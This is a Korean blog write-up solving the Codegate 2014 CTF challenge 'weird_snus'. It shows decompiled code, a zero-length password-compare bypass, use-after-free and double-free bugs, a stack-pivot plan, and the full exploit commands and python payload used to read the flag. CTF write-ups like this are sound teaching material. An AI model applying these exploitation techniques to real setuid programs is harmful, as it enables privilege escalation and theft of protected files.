writeup

Codegate 2014 weird_snus 풀이

진모씨 2014. 2. 25. 03:11

2위 브릭쓰루찍어서 기분 좋은 문제.

아주 간단한 UAF인데 인자를 조작하기위해서 스택을 띄우는 코드를 썼다.


익스플로잇은 아래와 같다.

mkdir "/tmp/aaa"

mkdir `python -c 'print "/tmp/aaa\xf0/"'`

mkdir `python -c 'print "/tmp/aaa\xf0/\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08"'`

(python -c 'print "\x00";print "hello";print "D";print("/tmp/aaa\xf0\x2f\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08");print "A";print "M";print "G\x10\x00\x00\x00";print "A"';cat)|./weird_snus \(

중간에 / 문자가 들어가서 mkdir을 세번해줬다..


로컬 익스플로잇이다. 제공된 ssh계정으로 접속해서 /home/strongest_snus/로 이동했다. 여기에 바이너리가 있었다.

admin_password는 실행파일에서 쓰는 로그인용 패스워드고 flag는 키값이다. 오예!


일단 인증 루틴이 있다.

먼저 인증을 우회해보자.

0804910E 에서는 argv[1]을 복사한 값을(최대 250자, bof는 안일어난다) 인자로 받아서 인증을 따른다.

이 함수에 있는 취약점은 "인증 우회"이다.


함수를 살펴보자.


argv는 argv[1] 이다.

argv를 돌면서 ( 문자나 ) 문자가 나온다면 패스워드 20자를 파일에서 읽고 입력값 20자를 표준 입력으로 받아서 우리가 실행 후 직접 쳐주면 우리가 친 패스워드의 길이만큼 비교해준다.


아하, 길이가 0이면 그냥 비교를 안하고 넘어가는구나!

이렇게 해보자! ( 괄호 문자를 argv에 넣으려면 \를 앞에 붙여야 된다. 안그러면 sh 문법 오류 난다. )

참고할 사항은 fgets는 뒤에 \n(한줄 띄움 문자)까지 저장하니까 그냥 직접 입력하면 이거 우회 못한다. 20자 다 입력해야되므로..

$ python -c 'print "\x00"'|./weird_snus \(

Hi, you've got here.. What's your name? : Welcome,  !

size_t __cdecl sub_804910E(const char *argv)

{

  size_t v1; // eax@4

  size_t result; // eax@9

  size_t i; // [sp+14h] [bp-224h]@1

  FILE *stream; // [sp+18h] [bp-220h]@4

  char s1; // [sp+1Ch] [bp-21Ch]@1

  char s2; // [sp+11Ch] [bp-11Ch]@1

  int v7; // [sp+21Ch] [bp-1Ch]@1


  v7 = *MK_FP(__GS__, 20);

  memset(&s1, 0, 0x100u);

  memset(&s2, 0, 0x100u);

  for ( i = 0; ; ++i )

  {

    result = strlen(argv);

    if ( i >= result )

      break;

    if ( argv[i] == '(' || argv[i] == ')' )

    {

      stream = fopen("/home/strongest_snus/admin_passwd", "r");

      fgets(&s1, 20, stream);

      fgets(&s2, 20, stdin);

      v1 = strlen(&s2);

      if ( memcmp(&s1, &s2, v1) )

      {

        puts("No match");

        exit(0);

      }

      isAdmin = 1;

      fclose(stream);

    }

  }

  if ( *MK_FP(__GS__, 20) != v7 )

    __stack_chk_fail();

  return result;

}

인증을 잘 우회한 것 같다.

이제 다음 루틴으로 가보자. 다음 루틴은 8048952이다.

signed int __cdecl sub_8048952(const char *dest)

{

  signed int result; // eax@26

  const char v2; // [sp+10h] [bp-28h]@0

  unsigned __int8 v3; // [sp+11h] [bp-27h]@7

  const char v4; // [sp+11h] [bp-27h]@12

  char v5; // [sp+13h] [bp-25h]@16

  signed int i; // [sp+14h] [bp-24h]@3

  char *src; // [sp+18h] [bp-20h]@0

  signed int v8; // [sp+1Ch] [bp-1Ch]@1

  signed int v9; // [sp+20h] [bp-18h]@1

  signed int v10; // [sp+24h] [bp-14h]@1

  signed int j; // [sp+28h] [bp-10h]@16

  size_t v12; // [sp+2Ch] [bp-Ch]@1


  v12 = strlen(dest);

  v8 = 0;

  v9 = 0;

  v10 = 0;

  if ( (signed int)v12 > 240 )

    exit(0);

  for ( i = 0; ; ++i )

  {

    result = i;

    if ( i >= (signed int)v12 )

      break;

    switch ( dest[i] )

    {

      case 'X':

      case 'x':

        if ( v8 )

          exit(0);

        v3 = dest[i + 1];

        if ( (char)v3 > 64 )

          exit(0);

        v2 = dest[i + 1];

        src = (char *)malloc(v3);

        ++i;

        v8 = 1;

        break;

      case 'Y':

      case 'y':

        if ( v9 )

          exit(0);

        v4 = dest[i + 1];

        if ( v4 > 64 )

          exit(0);

        if ( v4 > (unsigned __int8)v2 )

          exit(0);

        v5 = dest[i + 2];

        for ( j = 0; (unsigned __int8)v4 > j; ++j )

          src[j] = v5;

        i += 2;

        v9 = 1;

        break;

      case 'Z':

      case 'z':

        if ( v10 )

          exit(0);

        free(src);

        v10 = 1;

        break;

      case 'Q':

      case 'q':

        strcpy((char *)dest, src);

        break;

      case '(':

      case ')':

        isAdmin = 1;

        sub_8048C43();

        return result;

      default:

        continue;

    }

  }

  return result;

}


아래의 "한 줄"은 아직 안해본 방법이니까 그냥 넘긴다.

uaf, double-free 버그가 있는 코드이다. 하지만 이건 안쓸거다. 뒤에 유용한 uaf 트리거할 수 있는 부분이 있다.

일단 이 함수만으로 해보려면 malloc을 하게 해주는 x(X) 명령어(뒤의 1바이트는 malloc size)를 호출해준 뒤 z(Z)명령어를 호출해서 free해주고 y명령어(뒤의 1바이트는 문자열 길이)로 뭘 써주면 힙오버플로우도 잘 날뿐 만 아니라 malloc 흐름도 조작 가능한다. double-free bug에 대해 찾으면 잘 나올 것이다. 그렇다면 GOT를 overwrite시켜서 다음 루틴에서 실행시키는 printf를 execl 등으로 돌려서 내가 원하는 명령어를 실행시킬 수 있다.


대회 중에는 이렇게 안했다.


일단 08048C43 주소로 가본다. "(", ")" 명령어를 쓰면 된다. 아까 ( ~ ) 명령어를 이미 인증할 때 썼으므로 이건 자연스레 호출이 될것이다.




오, 아주 uaf취약점을 공략하기 쉬운듯하다.

일단 dest변수에다가 'malloc'(16)한 값을 집어넣으려면 A 명령어를 쳐서 넣어야되고 free를 그쪽에 호출하려면 다시 명령어를 'M'으로 친다면 free -> malloc->free를 다시 해준다. 그다음에 우리가 malloc시켜서 원하는 값을 집어 넣을수 있는 부분인 'G'명령어를 친 뒤 다음 4바이트에 malloc을 할 크기를 지정한 후 readfileTostack함수(8048812)를 실행시켜서 파일을 스택에다가 읽게 시킨다.

아래는 readfileTostack 함수이다.


int __cdecl readfileTostack(char *a1, unsigned int a2)

{

  char *v2; // ST24_4@4

  int result; // eax@8

  FILE *stream; // [sp+28h] [bp-110h]@4

  char s[256]; // [sp+2Ch] [bp-10Ch]@4

  int v6; // [sp+12Ch] [bp-Ch]@1


  v6 = *MK_FP(__GS__, 20);

  if ( a1 )

  {

    getcwd(a1, 1023u);

  }

  else

  {

    if ( a2 > 0xF0 )

      exit(0);

    v2 = getcwd(a1, a2 + 1);

    snprintf(s, 250u, "%s/key", v2);

    stream = fopen(s, "rb");

    if ( !stream )

      exit(0);

    memset(s, 0, 4u);

    fgets(s, 30, stream);

    fclose(stream);

  }

  result = *MK_FP(__GS__, 20) ^ v6;

  if ( *MK_FP(__GS__, 20) != v6 )

    __stack_chk_fail();

  return result;

}


a1(malloc에서 반환한 주소이다)에다가 현재 디렉토리 위치를 읽어준 뒤 a2만큼 받아온다. (a2는 앞의 루틴에 있던 경로 변경에서 지정되는 경로의 길이 또는 1023이다 - 경로 변경을 실행 안했으면 1023으로 넘겨준다)


일단 그래서 uaf로 내가 원하는 함수에다가 인자가 하나 들어간 상태(10)로 실행이 가능하다.

근데 인자 조작해서 rtl을 하고싶어서 일단 stacklift 그러니까 add esp, 300 -> pppr 페이로드로 먼저 점프를 시켰다. 그다음 chdir을 호출하는부분에서 저장한 버퍼(물론 경로도 있어야된다)로 스택을 옮긴 뒤 리턴시키게 했다.


그래서 페이로드는 아래와 같다.

mkdir "/tmp/aaa"

mkdir `python -c 'print "/tmp/aaa/\xf0/"'`

mkdir `python -c 'print "/tmp/aaa/\xf0/\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08"'`

(python -c 'print "\x00";print "hello";print "D";print("/tmp/aaa\xf0\x2f\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08");print "A";print "M";print "G\x10\x00\x00\x00";print "A"';cat)|./weird_snus \(


테스트하고싶다면 그냥 "aaa"부분만 다르게 바꿔주자.